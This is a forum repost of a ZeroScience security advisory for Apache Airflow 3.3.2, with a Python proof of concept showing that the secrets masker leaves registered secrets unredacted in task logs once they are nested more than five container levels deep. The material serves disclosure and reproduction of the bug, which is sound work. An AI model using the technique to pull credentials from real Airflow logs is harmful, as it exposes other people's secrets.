Стани премиум член и добиј попуст на 2000+ производи и куп други бенефити!

Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak

zeroscience

ZSL Bot v4.89.1.00
31 мај 2010
1.119
667
www.zeroscience.mk
Python:
#!/usr/bin/env python
#
#
# Apache Airflow 3.3.2 (mask_secret()) Secrets Masker Deep-Nesting Secret Leak
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://airflow.apache.org
# Affected version: 3.3.2
#
# Summary: Apache Airflow is an open-source platform for developing,
# scheduling, and monitoring workflows, such as traditional time based
# or event-triggered batch-oriented data pipelines, machine learning,
# model training, and agentic or LLM-based workloads. Airflow's extensible
# Python framework enables you to build workflows connecting with virtually
# any technology, with a growing set of providers for orchestrating AI
# and agentic tools alongside the rest of your pipeline. A web-based UI
# helps you visualize, manage, and debug your workflows. You can run Airflow
# in a variety of configurations - from a single process on your laptop
# to a distributed system capable of handling massive workloads.
#
# Desc: Apache Airflow suffers from a sensitive information disclosure
# vulnerability caused by an incomplete secret-masking routine. In the
# secrets masker, container structures are walked without a depth limit
# for key-name redaction, but pattern-based masking of registered secrets
# is applied only to string values at or below a fixed recursion depth
# (MAX_RECURSION_DEPTH): beyond that depth the scalar is returned as-is,
# before the secret-replacement step runs. As a result, a configured secret
# that appears as a string value nested under non-sensitive keys several
# container levels deep is not redacted and is emitted in clear text to
# task logs. An operator, or anyone with log access, can recover credentials
# that were expected to be masked.
#
# ========================================================================
#     depth 0: masked (***)
#     ...
#     depth 5: masked (***)
#     depth 6: LEAK (cleartext)
#     ...
# [+] depth-6 result (as stored/shown in Rendered Templates / task logs):
#     {'op_kwargs': {'a': {'b': {'c': {'d': {'e': {'l6': 'S3cr3t-Pa55word-y0'}}}}}}}
# [+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5.
# ========================================================================
#
# Tested on: GNU/Linux x86_64
#            Python 3.10+
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6018
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6018
#
#
# 13.08.2026
#


r"""
This PoC imports the REAL SecretsMasker from the installed apache-airflow
and reproduces the leak at the library level (no running Airflow, no DAG
needed). Requires: pip install apache-airflow (>= 3.x).
"""

import importlib, sys

SECRET = "S3cr3t-Pa55word-y0"

CANDIDATES = [
    "airflow.sdk.execution_time.secrets_masker",
    "airflow._shared.secrets_masker",
    "airflow.sdk._shared.secrets_masker",
    "airflow_shared.secrets_masker",
    "airflow.utils.log.secrets_masker",
]

mod = None
for name in CANDIDATES:
    try:
        m = importlib.import_module(name)
    except Exception:
        continue
    if hasattr(m, "redact") and (hasattr(m, "mask_secret") or hasattr(m, "SecretsMasker")):
        mod = m
        print(f"[*] using the real Airflow masker: {name}")
        break
if mod is None:
    sys.exit("[!] Airflow SecretsMasker not importable. Install it: pip install apache-airflow")

if hasattr(mod, "mask_secret"):
    mod.mask_secret(SECRET)
    redact = mod.redact
else:
    sm = mod.SecretsMasker()
    sf = getattr(mod, "DEFAULT_SENSITIVE_FIELDS", None)
    if sf is not None:
        try: sm.sensitive_variables_fields = list(sf)
        except Exception: pass
    for attr, val in (("hide_sensitive_var_conn_fields", True), ("min_length_to_mask", 5)):
        try: setattr(sm, attr, val)
        except Exception: pass
    sm.add_mask(SECRET) # mask_secret(SECRET)
    redact = sm.redact

def nest(depth, leaf):
    n = leaf
    for i in range(depth):
        n = {f"level{depth - i}": n}
    return n

print(f"[*] registered secret via mask_secret(): {SECRET!r}")
print("[*] redacting it under the NON-sensitive field 'op_kwargs' at increasing nesting depth:\n")
for d in range(0, 9):
    out = redact(nest(d, SECRET), "op_kwargs")
    print(f"    depth {d}: {'LEAK (cleartext)' if SECRET in repr(out) else 'masked (***)'}")

deep = {"op_kwargs": {"a": {"b": {"c": {"d": {"e": {"l6": SECRET}}}}}}}
out = redact(deep, "op_kwargs")
print("\n[+] depth-6 result (as stored/shown in Rendered Templates / task logs):")
print("    " + repr(out))
print("\n[+] LEAK CONFIRMED - mask_secret() value returned in cleartext past depth 5."
      if SECRET in repr(out) else "\n[-] not reproduced on this build.")



 
— членови онлајн
—мислења
—теми
—членови

Последни огласи

IT.mk/market понуда

Бесплатна достава на 3000 производи
На врв Дно